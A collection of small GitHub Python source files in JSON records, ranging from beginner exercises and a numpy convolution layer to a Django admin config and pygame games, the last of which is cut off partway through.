+{"seq_id":"17432825495","text":"from PIL import Image\nimage = Image(150,150)\nblue= (0,0,255)\ny=image.getHeight()//2\nfor x in range(image.getWidth()):\n    image.setPixel(x,y-1,blue)\n    image.setPixel(x,y,blue)\n    image.setPixel(x,y+1,blue)\nimage.draw()\n\n# from PIL import Image\n\n# # Load the image\n# image_path = 'path_to_your_image.jpg'  # Replace with the actual path to your image file\n# image = Image.open('img.png')\n\n# # Display the image\n# image.show()\n\n","repo_name":"anjali803/python-graphics","sub_path":"09.drawImage2.py","file_name":"09.drawImage2.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25815527143","text":"import urllib.request\r\n\r\ndef requisitar_pagina(url):\r\n        resposta = urllib.request.urlopen(url)\r\n        conteudo = resposta.read(1000)#quantidade de caracteres exibidos da página\r\n        return conteudo\r\n# URL da página que você deseja requisitar\r\nurl_pagina = \"https://www.uol.com\"\r\n# Faz a requisição à página e exibe o conteúdo\r\nconteudo_pagina = requisitar_pagina(url_pagina)\r\nprint(conteudo_pagina)","repo_name":"clodoaldo-valentim/python_para_alunos","sub_path":"requisitarumapágina.py","file_name":"requisitarumapágina.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20079807014","text":"from classy_vision.generic.distributed_util import barrier\nfrom classy_vision.tasks import ClassyTask\n\n\nclass ClassyTrainer:\n    \"\"\"Base class for shared training code.\n\n    A trainer is responsible for setting up the environment for\n    training, for instance: configuring rendezvous for distributed\n    training, deciding what GPU to use and so on. Trainers also\n    control the outer portion of the training loop, but delegate to\n    the task to decide how exactly to perform inference, compute loss\n    etc. That allows combining tasks with different trainers depending\n    on whether you want to train on your current machine, AWS cluster\n    etc.\n\n    \"\"\"\n\n    def train(self, task: ClassyTask):\n        \"\"\"Runs training phases, phases are generated from the config.\n\n        Args:\n            task: Task to be used in training. It should contain\n                everything that is needed for training\n        \"\"\"\n\n        task.prepare()\n        assert isinstance(task, ClassyTask)\n\n        # make sure all the workers start training at the same time\n        # this helps catch hangs which would have happened elsewhere\n        barrier()\n\n        task.on_start()\n        while not task.done_training():\n            task.on_phase_start()\n            while True:\n                try:\n                    task.step()\n                except StopIteration:\n                    break\n            task.on_phase_end()\n        task.on_end()\n","repo_name":"facebookresearch/ClassyVision","sub_path":"classy_vision/trainer/classy_trainer.py","file_name":"classy_trainer.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","stars":1563,"dataset":"github-code","pt":"3"}
+{"seq_id":"72912896400","text":"'''739每日温度:根据每日 气温 列表，请重新生成一个列表，对应位置的输入是你需要再等待多久温度才会升高超过该日的天数。如果之后都不会升高，请在该位置用 0 来代替。\n\n例如，给定一个列表 temperatures = [73, 74, 75, 71, 69, 72, 76, 73]，你的输出应该是 [1, 1, 4, 2, 1, 1, 0, 0]。'''\n\n'''思路：维护一个递减的栈，对温度数组进行遍历，直到当前遍历到的���字大于栈顶的数字，将栈顶元素弹出\n　　　　。由于res保存的是索引的差值，所以栈保存的是元素索引。'''\nclass Solution(object):\n\tdef daliytemperature(self, T: list) -> list:\n\t\tres = [0] * len(T)\n\t\tstack = []\n\t\tfor i in range(len(T)):\n\t\t\twhile stack and T(i) > T(stack[-1]):\n\t\t\t\tj = stack.pop()\n\t\t\t\tres[j] = i - j\n\t\t\tstack.append(i)\n\t\treturn res\n","repo_name":"AndongWen/leetcode","sub_path":"0076daliytemperature.py","file_name":"0076daliytemperature.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8246620590","text":"import numpy as np\nfrom src.initializers import xavier_init\n\nclass Conv2d:\n    '''\n    Creates a convolution kernel that is convolved with the input layer to produce a tensor of outputs\n\n    Attributes:\n    kernel_size(k) : int\n        Height and Width of the 2D convolution window\n\n    num_filters : int \n        The number of output filters in the convolution\n\n    input_shape: tuple(N_samples, in_H, in_W, N_in_channels)\n        Input tensor shape, (Number of samples in a batch, Input height, Input width, Number of input channels)\n\n    stride(s): int\n        The stride of the convolution\n\n    padding: str\n        One of \"valid\" or \"same\". \n        \"valid\" means no padding. \n        \"same\" results in padding evenly to the left/right or up/down of the input\n         such that output has the same height/width dimension as the input.\n\n    use_bias: bool\n        Boolean, whether the layer uses a bias vector.\n\n    W: np.ndarray\n        Weight array of shape (kernel_size, kernel_size, Number of input channels, Number of output channels)\n\n    out_shape: tuple\n        Output tensor shape, (Number of samples in a batch, Output height, Output width, Number of output channels)\n\n    params: list\n        Trainable params of current layer\n    '''\n\n    def __init__(self, kernel_size, num_filters, input_shape, padding='same', use_bias=False):\n        self.num_filters = num_filters\n        self.k = kernel_size\n        self.s = 1\n        self.use_bias = use_bias\n\n        self.n_samples, self.in_H, self.in_W, self.in_channels = input_shape\n\n        self.W = xavier_init(self.in_channels, num_filters,\n                             (kernel_size, kernel_size, self.in_channels, num_filters))\n        self.params = [self.W]\n\n        if(padding == 'same'):\n            self.pad = int(np.ceil((self.k-1)/2))\n            self.new_H, self.new_W = self.in_H, self.in_W\n        elif(padding == 'valid'):\n            self.pad = 0\n            self.new_H, self.new_W = self.in_H-self.k+1, self.in_W-self.k+1\n        else:\n            raise KeyError(\"Unknow padding value {0}\".format(padding))\n\n        self.out_shape = (self.n_samples, self.new_H, self.new_W, self.num_filters)\n\n    def apply_filter(self, curr_slice, filter):\n        '''\n        Apply filter on a current slice of data\n\n        Arguments: \n\n        curr_slice : np.ndarray \n            current slice of data, shape (kernel_size,kernel_size,N_input_channels)\n\n        filter : np.ndarray\n            weight array, shape (kernel_size,kernel_size,N_input_channels)\n\n        Returns:\n        \n        out : int\n            scalar value, result of convoluting the sliding window on a slice of input data\n        '''\n        assert filter.shape == curr_slice.shape\n\n        res = np.multiply(curr_slice, filter)\n        out = np.sum(res)\n        if(self.use_bias):\n            # add bias\n            pass\n        return out\n\n    def zero_pad(self, batch, n):\n        '''Pad image with n zeros'''\n        return np.pad(batch, ((0, 0), (n, n), (n, n), (0, 0)))\n\n    def forward(self, batch):\n        '''\n        Implements the forward propagation for a convolution function\n\n        Arguments:\n        batch : np.ndarray\n            current batch of data, shape (N_samples,H,W,N_input_channels)\n\n        Returns:\n        output : np.ndarray\n            array of feature maps for all samples in batch, shape (N_samples,H_new,W_new,N_channels)\n        '''\n        self.n_samples = batch.shape[0]\n        output = np.zeros((self.n_samples, self.new_H,\n                           self.new_W, self.num_filters))\n        padded_imgs = self.zero_pad(batch, self.pad)\n        self.input = padded_imgs\n\n        for i in range(self.n_samples):\n            img_padded = padded_imgs[i, :, :, :]\n            for h in range(self.new_H):\n                for w in range(self.new_W):\n                    for c in range(self.num_filters):\n                        # corners of sliding window:\n                        h_start, h_end = h*self.s, h*self.s+self.k\n                        w_start, w_end = w*self.s, w*self.s+self.k\n\n                        curr_slice = img_padded[h_start:h_end,\n                                                w_start:w_end, :]\n                        output[i, h, w, c] = self.apply_filter(\n                            curr_slice, self.W[:, :, :, c])\n        return output\n\n    def backward(self, gradient):\n        '''\n        Implements the backpropagation for a convolution function\n\n        Arguments:\n        gradient : np.ndarray\n            gradient from the previous layer, shape (N_samples,H_new,W_new,N_channels)\n\n        Returns:\n        flow_gradient : np.ndarray\n            gradient to flow back to the earlier layers, shape(N_samples,H_input,W_input,N_input_channels), \n            list of gradients to change params of the current layer\n        '''\n        flow_gradient = np.zeros((self.n_samples, self.in_H, self.in_W, self.in_channels))\n        dW = np.zeros_like(self.W)\n\n        flow_gradient = self.zero_pad(flow_gradient, self.pad) #add padding\n\n        for i in range(self.n_samples):\n            curr_img = self.input[i, :, :, :]\n            for h in range(self.new_H):\n                for w in range(self.new_W):\n                    for c in range(self.num_filters):\n                        # corners of sliding window:\n                        h_start, h_end = h*self.s, h*self.s+self.k\n                        w_start, w_end = w*self.s, w*self.s+self.k\n\n                        curr_slice = curr_img[h_start:h_end, w_start:w_end, :]\n                        flow_gradient[i, h_start:h_end, w_start:w_end,\n                                      :] += self.W[:, :, :, c]*gradient[i, h, w, c]\n                        dW[:, :, :, c] += curr_slice*gradient[i, h, w, c]\n\n        return flow_gradient[:, self.pad:-self.pad, self.pad:-self.pad, :], [dW] #remove padding\n","repo_name":"zzmicer/CNN-in-plain-numpy","sub_path":"src/layers/conv2d.py","file_name":"conv2d.py","file_ext":"py","file_size_in_byte":5850,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"26126426511","text":"from django.contrib import admin\nfrom .models import Marketer\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.forms import TextInput, Textarea\n\n\nclass UserAdminConfig(UserAdmin):\n    model = Marketer\n    search_fields = ('email', 'user_name', 'first_name',)\n    list_filter = ('email', 'user_name', 'first_name', 'gender', 'percentage', 'Minimum_receive_money', 'reference_code', 'is_active', 'is_staff')\n    ordering = ('-start_date',)\n    list_display = ('email', 'user_name', 'first_name', 'gender', 'percentage', 'Minimum_receive_money', 'reference_code', 'is_active', 'is_staff')\n    fieldsets = (\n        (None, {'fields': ('email', 'user_name', 'first_name', 'gender', 'percentage', 'receive_money', 'Minimum_receive_money', 'reference_code')}),\n        ('Permissions', {'fields': ('is_staff', 'is_active')}),\n    )\n    \n    add_fieldsets = (\n        (None, {\n            'classes': ('wide',),\n            'fields': ('email', 'user_name', 'first_name', 'password1', 'password2', 'gender', 'percentage', 'receive_money', 'Minimum_receive_money', 'reference_code', 'is_active', 'is_staff')}\n         ),\n    )\n\n\nadmin.site.register(Marketer, UserAdminConfig)\n","repo_name":"Johnny-AlShanaa/Marketing-Management-System","sub_path":"users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12412916960","text":"#!/usr/bin/env python\n#  -*- coding: utf-8 -*-\n\n\nfrom setuptools import setup\n\nimport getname\n\n\ntry:\n    import pypandoc\n    long_description = pypandoc.convert('README.md', 'rst')\nexcept (IOError, ImportError):\n    with open('README.md') as f:\n        long_description = f.read()\n\n\nsetup(\n    name='getname',\n    version=getname.__version__,\n    description='Get popular cat/dog/superhero/supervillain names',\n    long_description=long_description,\n    url='http://github.com/lord63/getname',\n    author='lord63',\n    author_email='lord63.j@gmail.com',\n    license='MIT',\n    classifiers=[\n        'Development Status :: 4 - Beta',\n        'Operating System :: POSIX',\n        'Operating System :: POSIX :: Linux',\n        'License :: OSI Approved :: MIT License',\n        'Programming Language :: Python :: 2',\n        'Programming Language :: Python :: 2.7',\n        'Programming Language :: Python :: 3',\n        'Programming Language :: Python :: 3.3',\n        'Programming Language :: Python :: 3.4',\n    ],\n    keywords='name cat dog superhero supervillain',\n    packages=['getname'],\n    install_requires=[\n        'click>=4.0',\n    ],\n    include_package_data=True,\n    entry_points={\n        'console_scripts': [\n            'getname=getname.cli:cli']\n    }\n)\n","repo_name":"lord63/getname","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5686768333","text":"def cubes(x):\r\n    y = []\r\n    for i in range(1, x):\r\n        if i**3 < x:\r\n            y.append(i**3)\r\n        else:\r\n            return y\r\n\r\ndef taxicab(x, c):\r\n    y = []\r\n    for i in range(2, x):\r\n        d = 0\r\n        for j in range(0, len(c)):\r\n            for k in range(0, j + 1):\r\n                if c[j] + c[k] == i:\r\n                    d += 1\r\n        if d > len(y):\r\n            y.append(i)\r\n    print(y)\r\n\r\ntry:\r\n    x = int(input())\r\n    c = cubes(x)\r\n    taxicab(x, c)\r\nexcept:\r\n    print(\"Please input a valid number.\")","repo_name":"MediocreBoris/gitgud","sub_path":"Taxicab.py","file_name":"Taxicab.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11704416531","text":"#################################################\n## Practice Problems\n#################################################\n\n# 1 #\n\na = 2\na = a * 2\nx = 4 + a\nprint(x)\n# Write answer below \n# 8\n\n\n# 2 #\n\na = 9 * 4 // 12 - (7 % 5 + 3)\n# a = 9 * 4 // 12 - (5)\n# a = 36 // 12 - (5)\n# a = 3 - 5\n# a = -2\nprint(a)\n# Write answer below\n# -2\n\n\n# 3 #\n\nb = (True and True) or (True and False)\n# b = (True) or (True and False)\n# b = (True) or (False)\n# b = True\nc = (True or False) and (True or True)\nc = True\nd = (b == c)\nprint(b)\nprint(c)\nprint(d)\t\n# Write ans below\n# True\n# True\n# True\n\n\n# 4 #\n\nsome_string = \"Wow!, programming is way easier than I thought.\"\nother_string = \"So far.\"\nfinal_string = some_string + \" \" + other_string\nprint(final_string)\n# Write answer below\n# \"Wow!, programming is way easier than I thought. So far.\"\n\n\n# 5 #\n\nnew_string = \"what a day\"\nother_string = \"maybe\"\nfinal_string = other_string[2] + other_string[1]\nlast_character = new_string[len(new_string) - 1]\n# last_character = new_string[10 - 1]\n# last_character = new_string[9]\n# last_character = \"y\"\n\n# if we need the last character of a string. Then the index of the last character is (length of string - 1)\n# If in general case, the length of a string is n, then indexing is from 0 to n - 1\n# 1 to n is n numbers. Similarly 0 to n - 1 is also n numbers\n\nlast_character = new_string[-1] # Another way to access the last character of a string\nprint(final_string + last_character)\n# Write answer below\n# yay\n\n\n# 6 #\n\n\"\"\" Write a program to take input user's first name and user's last name.\n    Then print full name of the user with a space between first and last names.\n\"\"\"\n\n# 7 #\n\n\"\"\" Write a program to take input a string. Print the first, last and middle character of the\nstring in separate lines.\"\"\"\n\nabcd = \"vision\"\nprint(abcd[0])\nmidindex = len(abcd) // 2\n# midindex = 3\n# it is the index of the middle character\n# to print the middle char we have to first access it.\n\nprint(abcd[midindex]) # accesing the character\n# re-solve into simpler line\n# print(abcd[3])\n# print(\"s\")\nprint(abcd[len(abcd) - 1])\n# Ouput of above code below :\n# v\n# i\n# n\n\n\n# 8 # \n\n# The following lines of code have some error in them. Correct it.\nnew_string = \"saturday\"\nfinal_string = new_string + str(6) # convert 6 to string using str()\nprint(final_string)\n\n\n# 9 # \n\na = (5 > 3)\nb = (231 < 94)\nc = (52 >= 52)\nd = (77 <= 813)\nanswer = (a and d) or (b and c)\nprint(answer)\n# Write answer below\n# True\n\n\n# 10 #\na = 42\nb = 79\n# print(\"The value of a is: \" + str(a))\n# print(f\"The value of b is: {b}\")\nb = a + b\na = b - a\nb = b - a\n# print(\"The new value of a is: \" + str(a))\n# print(f\"The new value of b is: {b}\")\n# Write answer below. Also, observe the output and see if you find anything special.\n\n\n# In any expression if we write a variable, then the expression is evaluated by\n# replacing the variable by its value.\nab = 42\nc = ab + 9\n# c = 42 + 9\n\n\n# 11 #\n\nnum = 55\nif (num % 5 == 0):\n    print(\"Num is divisible by 5\")\nelse:\n    print(\"Num is NOT divisible by 5\")\n# Write answer below\n\n\n# 12 #\n\nnum = 21\nif (num % 2 == 0):\n    print(\"Num is even\")\nelse:\n    print(\"Num is odd\")\n# Write answer below\n\n\n# 13 #\n\nage = 32\n\nif (age >= 65):\n    print(\"You are a senior citizen\")\nelif (age >= 18 and age < 65):\n    print(\"You are an adult\")\nelse:\n    print(\"You are a minor\")\n# Write answer below\n\n\n# 14 #\n\nmarks = 47\ngrade = \"\" # \"\" is an empty string\nif (marks >= 90):\n    grade = \"A1\"\nelif (marks >= 80 and marks < 90):\n    grade = \"A2\"\nelif (marks >= 70 and marks < 80):\n    grade = \"B\"\nelif (marks >= 60 and marks < 70):\n    grade = \"C\"\nelif (marks >= 50 and marks < 60):\n    grade = \"D\"\nelif (marks >= 40 and marks < 50):\n    grade = \"E\"\nelse: \n    grade = \"F\"\nprint(grade)\n# Write answer below\n\n\n# 15 #\n\n\"\"\" Write a program to take input a number from the user.\nPrint whether the number is negative, positive or zero.\"\"\"\n\n\n# 16 #\n\n\"\"\" Write a program to take input two numbers from the user.\nPrint the larger of the two numbers \"\"\"\n\n\n# 17 # \n\n\"\"\" Write a program to input two names from the user.\nPrint the lexicographically smaller name \"\"\"\n\n\n# 18 #\n\n#### HARD ####\n\"\"\" Take input of age of 3 people by user and determine oldest among them \"\"\"\n\n\n# 19 #\n\n\"\"\" Write a program to print first 10 natural number in reverse order using while loop \"\"\"\n\nnum = 10\nwhile (num):\n    print(num)\n    num = num - 1\n\n# Same program using for loop \nfor num in range(10, 0, -1): # [10, 0) num decreases by 1\n    print(num)\n\n\n# if we need to go forward, then we generally use (num = num + 1)\n# in reverse order, num = num - 1\n\n\n# 20 # \n\n\"\"\" Write a program to print sum of first 5 Natural numbers \"\"\"\nsum_var = 0\nnum = 1\nwhile (num <= 5):\n    sum_var =  sum_var + num       # sum_var = 1 + 2 + 3 + 4 + 5\n    num = num + 1\nprint(sum_var)\n\n# Same program using for loop\nsum_var = 0\nfor num in range(1, 6, 1):\n    sum_var = sum_var + num\nprint(sum_var)\n\n\n# 21 # \n\n#### HARD ####\n\"\"\" Write a program to take input a string from the user \nand print each character of the string separately on a new line \"\"\"\n\nstring_var = input(\"Enter a string\") # default type of input() function is string\nn = len(string_var)\nindex = 0\nwhile (index <= n - 1):\n    print(string_var[index])\n    index = index + 1\n\n# Same program using for loop\nstring_var = \"jupiter\"\nn = len(string_var)\n\nfor index in range(0, n, 1):\n    print(string_var[index]) # iteration\n\n\n# 22 #\n\n\"\"\" Write a program to input a string from the user and print the reverse string \"\"\"\n\nindex = len(string_var) - 1\nwhile (index >= 0):\n    print(string_var[index])\n    index = index - 1\n\n# Same program using for loop\nn = len(string_var)\n\nfor index in range(n - 1, -1, -1): # [n - 1, -1)\n    print(string_var[index])\n\n\n# 23 # \n\nmy_name = \"Tom Marvolo Riddle\"\nrandom_index = 7 % 3\nprint(my_name[random_index])\n# Write answer below\n# o\n\n\n# 24 #\n\nnum = 1\nwhile (num <= 10):\n    if (num % 2): # if (1)\n        print(num)\n    num = num + 1\n\n# Write answer below\n# 1\n# 3\n# 5\n# 7\n# 9\n\n\n# 25 #\n\nsome_string = \"Jupiter\"\nreverse_string = \"\" # empty string\nindex = len(some_string) - 1 # index = 6\nwhile (index >= 0):\n    reverse_string = reverse_string + some_string[index] # reverse_string = \"retipuJ\"\n    index = index - 1\nprint(reverse_string)\n\n# Write answer below\n# retipuJ\n\n\n# 26 #\n\nnum = 21\nwhile (num):\n    if (num < 17):\n        print(\"Ending the loop\")\n        break\n    print(num)\n    num = num - 2\n\n# Write answer below\n# 21\n# 19\n# 17\n# Ending the loop\n","repo_name":"Ramanjs/learn-python","sub_path":"basics/practice-problems.py","file_name":"practice-problems.py","file_ext":"py","file_size_in_byte":6439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70433713042","text":"import pygame\nimport os\nimport random\n\n\nclass Nitro(pygame.sprite.Sprite):\n    \"\"\"Нитро(ускорение). Класс отвечает за выбор случайной картинки для спрайта и движение\"\"\"\n    def __init__(self, group, road, x, y):\n        super().__init__(group)\n        self.speed = road.speed\n        self.image = pygame.image.load(random.choice(self.load_images()))\n        self.rect = self.image.get_rect()\n        self.rect.x = x\n        self.rect.y = y\n        self.mask = pygame.mask.from_surface(self.image)\n\n    def load_images(self):\n        images = []\n        path = '\\\\'.join(os.getcwd().split('\\\\')[:-1]) + '\\\\menu_and_game\\\\game_data\\\\'\n        for i in range(1, 5):\n            images.append(path + f'nitro{i}.png')\n        return images\n\n    def update(self, event):\n        if self.rect.y < 850:\n            self.rect.y += self.speed\n        else:\n            self.kill()\n","repo_name":"code-n-cry/pyrace","sub_path":"menu_and_game/nitro.py","file_name":"nitro.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"ru","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"23558380345","text":"\"\"\"Practica 1: Este programa hace parte de la práctica del curso Python\"\"\"\n\"\"\"Ejercicio 1:\n\tCrea un programa que pida dos números por teclado. El programa tendrá una función\n\tllamada “DevuelveMax” encargada de devolver el número más alto de los dos\n\tintroducidos\"\"\"\n\nprint(\"Programa para hallar el máximo entre dos números\")\n\nnumero1=input(\"Introduce el primer número: \")\nnumero2=input(\"Introduce el segundo número: \")\n\nwhile numero1==numero2:\n\tprint(\"Los números son iguales\")\n\t\n\tnumero1=input(\"Introduce el primer número: \")\n\tnumero2=input(\"Introduce el segundo número: \")\n\n\ndef DevuelveMax(num1, num2):\n\tmaximo=num1\n\tif num1<num2:\n\t\tmaximo=num2\n\treturn maximo\n\n\n#print(max(8,2))\nprint(\"El número mayor es: \")\nprint(DevuelveMax(float(numero1), float(numero2)))\nprint(\"El programa ha finalizado\")\n\n\"\"\"Me encanta aprender, si tienes algún aporte que me ayude a hacer más eficiente el código será bien recibido, muchas gracias\"\"\"","repo_name":"CataHdoC/PracticaPython","sub_path":"Practica_1.py","file_name":"Practica_1.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40683603611","text":"# -*- coding: utf-8 -*-\n# BRemind created by Ivan Burashev in 2019 vanche93@yandex.ru\n\nfrom datetime import datetime, time\n\nimport pytz\nfrom rutimeparser import parse, get_clear_text\n\nfrom config import servertz\n\n\ndef import_dt(text, timezone='Europe/Moscow'):  # Функция забирает дату и время из сообщения\n    result = parse(text, tz=timezone, now=None, remove_junk=True,\n                   allowed_results=(datetime, None),\n                   default_time=time(12, 0), default_datetime=None)\n    dt_text = result\n    localtz = pytz.timezone(servertz)\n    timezone = pytz.timezone(timezone)\n    if result is None:\n        return 'null', 'null'\n    if datetime.now(tz=timezone) > result:\n        return 'old', 'old'\n    result = result.astimezone(tz=localtz)\n    result = ('{:%H:%M %d.%m.%Y}'.format(result))\n    dt_text = ('{:%H:%M %d.%m.%Y}'.format(dt_text))\n    return result, dt_text\n\n\ndef import_text(text):  # Функция забирает текст из сообщения\n    result = get_clear_text(text)\n    if result == '':\n        return 'null'\n    return result\n","repo_name":"vanche93/bremind_bot","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"ru","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"}
+{"seq_id":"31806907742","text":"import pygame, sys, time, random, time \nfrom pygame.locals import *\nfrom tkinter import _flatten\n\nFPS = 60\nfpsClock = pygame.time.Clock()\n\npygame.init()\n\npygame.display.set_caption(\"Finger Board\")\nWINDOW_WIDTH = 740\nWINDOW_HEIGHT = 500\nDISPLAYSURF = pygame.display.set_mode((WINDOW_WIDTH, WINDOW_HEIGHT), 0, 32) \nFINGER_BOARD = pygame.image.load(\"picture/Finger_Board.bmp\").convert()\nFINGER_BOARD2 = pygame.image.load(\"picture/guitar_board2.bmp\").convert()\nGUITAR_HEAD = pygame.image.load(\"picture/guitar_head.png\").convert()\nGUITAR_HEAD1 = pygame.image.load(\"picture/guitar_head1.png\").convert_alpha()\nGUITAR_HEAD2 = pygame.image.load(\"picture/guitar_head2.png\").convert_alpha()\nCONTINUE = pygame.image.load(\"picture/continue.bmp\").convert()\nPAUSE = pygame.image.load(\"picture/pause.bmp\").convert()\nFINGER_BOARD_BACKGROUND = pygame.image.load(\"picture/Finger_Board_background.bmp\").convert()\nFINGER_BOARD_BACKGROUND2 = pygame.image.load(\"picture/Finger_Board_background2.bmp\").convert()\nARROWHEAD = pygame.image.load(\"picture/arrowhead.png\").convert_alpha()\nFONTOBJ = pygame.font.Font(\"freesansbold.ttf\", 40)\nFONTOBJ2 = pygame.font.Font(\"freesansbold.ttf\", 80)\n#START_INTERFACE =  pygame.image.load(\"\").convert()\nBOARD_RECT = FINGER_BOARD.get_rect()\nBOARD_RECT.center = (WINDOW_WIDTH/2, (WINDOW_HEIGHT/2 + 25))\nARROWHEAD_RECT = ARROWHEAD.get_rect()\n#颜色\nBLUE = [70, 86, 114]\nBLUE_GREEN = (8, 255, 202)\nORANGE = (255, 143, 9)\nGREEN = (9, 255, 29)\nYELLOW = (239, 226, 2)\nRIGHT_COLOR = (228, 255, 68)\nWRONG_COLOR = (250, 10, 10)\n# 常变量\nEIGHTDEGREE = 0\nDEVILMODE = 1\n\nYES = 0\nNO = 1\n\n# 音源\n'''\nsd_C = pygame.mixer.Sound(\"\")\nsd_hC = pygame.mixer.Sound(\"\")\nsd_hhC = pygame.mixer.Sound(\"\")\n\nsd_D = pygame.mixer.Sound(\"\")\nsd_hD = pygame.mixer.Sound(\"\")\nsd_hhD = pygame.mixer.Sound(\"\")\n\nsd_lE = pygame.mixer.Sound(\"\") \nsd_E = pygame.mixer.Sound(\"\")\nsd_hE = pygame.mixer.Sound(\"\")\n\nsd_lF = pygame.mixer.Sound(\"\")\nsd_F = pygame.mixer.Sound(\"\")\nsd_hF = pygame.mixer.Sound(\"\")\n\nsd_lG = pygame.mixer.Sound(\"\")\nsd_G = pygame.mixer.Sound(\"\")\nsd_hG = pygame.mixer.Sound(\"\")\n\nsd_lA = pygame.mixer.Sound(\"\")\nsd_A = pygame.mixer.Sound(\"\")\nsd_hG = pygame.mixer.Sound(\"\")\n\nsd_lB = pygame.mixer.Sound(\"\")\nsd_B = pygame.mixer.Sound(\"\")\nsd_hB = pygame.mixer.Sound(\"\")\n'''\n\ndef main():\n\n    CHOICE = EIGHTDEGREE\n    while True: # the main loop\n\n        CHOICE = MENU_INTERFACE() # menu\n        GAME_START(CHOICE) # 游戏开始\n        \n        \ndef MENU_INTERFACE():\n\n    while True:\n\n        return EIGHTDEGREE   \n\ndef GAME_START(choice):\n\n    global GAME_LIST, STRCOLOR\n    GAME_LIST = NUMBER_FACTORY(EIGHTDEGREE)\n    SCORE = 0\n    KEY_1 = 0\n    KEY_2 = 0\n    KEY_3 = 0\n    TIMES = 0\n    TEMPLE_TIMES = 1\n    LIMIT_TIME = 5 * FPS\n    TIME_COLOR = [70, 86, 114]\n    TIME_COLOR2 = [186, 172, 151]\n    L_KEYNUM = KEYNUM = 0\n    TM1 = TM2 = TM3 = TM4 = TM5 = TM6 = 0\n    STRCOLOR = [0 for i in range(7)]\n    for i in range(7):\n        STRCOLOR[i] = BLUE\n\n    while True:\n        if(TEMPLE_TIMES != TIMES):\n            TEMPLE_TIMES = TIMES\n            THE_TONE, THE_NUMBER = TONE_SYMBOL(TIMES)\n        DISPLAYSURF.blit(FINGER_BOARD_BACKGROUND, (0, 50))\n        DISPLAYSURF.blit(FINGER_BOARD_BACKGROUND2, (0, 0))\n        DISPLAYSURF.blit(CONTINUE, (685, 9))\n        DISPLAYSURF.blit(FINGER_BOARD, BOARD_RECT)\n        DISPLAYSURF.blit(GUITAR_HEAD, (0, 200))\n        DISPLAYSURF.blit(GUITAR_HEAD1, (0, 150))\n        DISPLAYSURF.blit(GUITAR_HEAD2, (0, 350))\n        DISPLAYSURF.blit(FINGER_BOARD2, (730, 200))\n\n        DRAW_CIRCLE()\n        FRETWIRE()\n        STRINGS()\n        BOARD_Y, BOARD_X = ARROWHEADPOS()\n        SCORETEXT = FONTOBJ.render(\" %d / 21\" %SCORE, True, BLUE)\n        TONETEXT = FONTOBJ2.render(\"%s%d\" %(THE_TONE, THE_NUMBER), True, BLUE)\n        DISPLAYSURF.blit(SCORETEXT, (10,10))    \n        DISPLAYSURF.blit(TONETEXT, (320, 63))\n        #TIME_LINE\n        pygame.draw.line(DISPLAYSURF, TIME_COLOR2, (220, 425), (520, 425), 20)\n        pygame.draw.line(DISPLAYSURF, TIME_COLOR, (220, 425), (220 + LIMIT_TIME, 425), 20)\n        \n        for event in pygame.event.get():\n            if event.type == QUIT or (event.type == KEYUP and event.key == K_ESCAPE):\n\n                #DECISIION = EXIT_INTERFACE()# 结束UI\n                #if DECISION == YES:\n                    pygame.quit()\n                    sys.exit()\n               # else:\n                    #break\n            elif event.type == KEYUP and event.key == K_SPACE:\n                Break = False\n                while True:\n\n                    DISPLAYSURF.blit(FINGER_BOARD_BACKGROUND, (0, 50))\n                    DISPLAYSURF.blit(FINGER_BOARD_BACKGROUND2, (0, 0))\n                    DISPLAYSURF.blit(PAUSE, (685, 9))\n                    DISPLAYSURF.blit(FINGER_BOARD, BOARD_RECT)\n                    DISPLAYSURF.blit(GUITAR_HEAD, (0, 200))\n                    DISPLAYSURF.blit(GUITAR_HEAD1, (0, 150))\n                    DISPLAYSURF.blit(GUITAR_HEAD2, (0, 350))\n                    DISPLAYSURF.blit(FINGER_BOARD2, (730, 200))\n\n                    DRAW_CIRCLE()\n                    FRETWIRE()\n                    STRINGS()\n                    BOARD_Y, BOARD_X = ARROWHEADPOS()\n                    SCORETEXT = FONTOBJ.render(\" %d / 21\" %SCORE, True, BLUE)\n                    TONETEXT = FONTOBJ2.render(\"%s%d\" %(THE_TONE, THE_NUMBER), True, BLUE)\n                    DISPLAYSURF.blit(SCORETEXT, (10,10))    \n                    DISPLAYSURF.blit(TONETEXT, (320, 63))\n                    #TIME_LINE\n                    pygame.draw.line(DISPLAYSURF, TIME_COLOR2, (220, 425), (520, 425), 20)\n                    pygame.draw.line(DISPLAYSURF, TIME_COLOR, (220, 425), (220 + LIMIT_TIME, 425), 20)\n                    pygame.display.update()\n                    fpsClock.tick(FPS)\n                    for event in pygame.event.get():\n                        if event.type == KEYUP and event.key == K_SPACE:\n                            Break = True\n                    if Break == True:\n                        break\n\n            elif event.type == MOUSEBUTTONUP and (BOARD_Y != 6, BOARD_X != 12):\n                \n                TONE = GAME_LIST[TIMES]\n\n                if TONE == 1: # C\n\n                    if (BOARD_Y, BOARD_X) == (4, 3):\n                        KEY_1 = 1\n                    elif 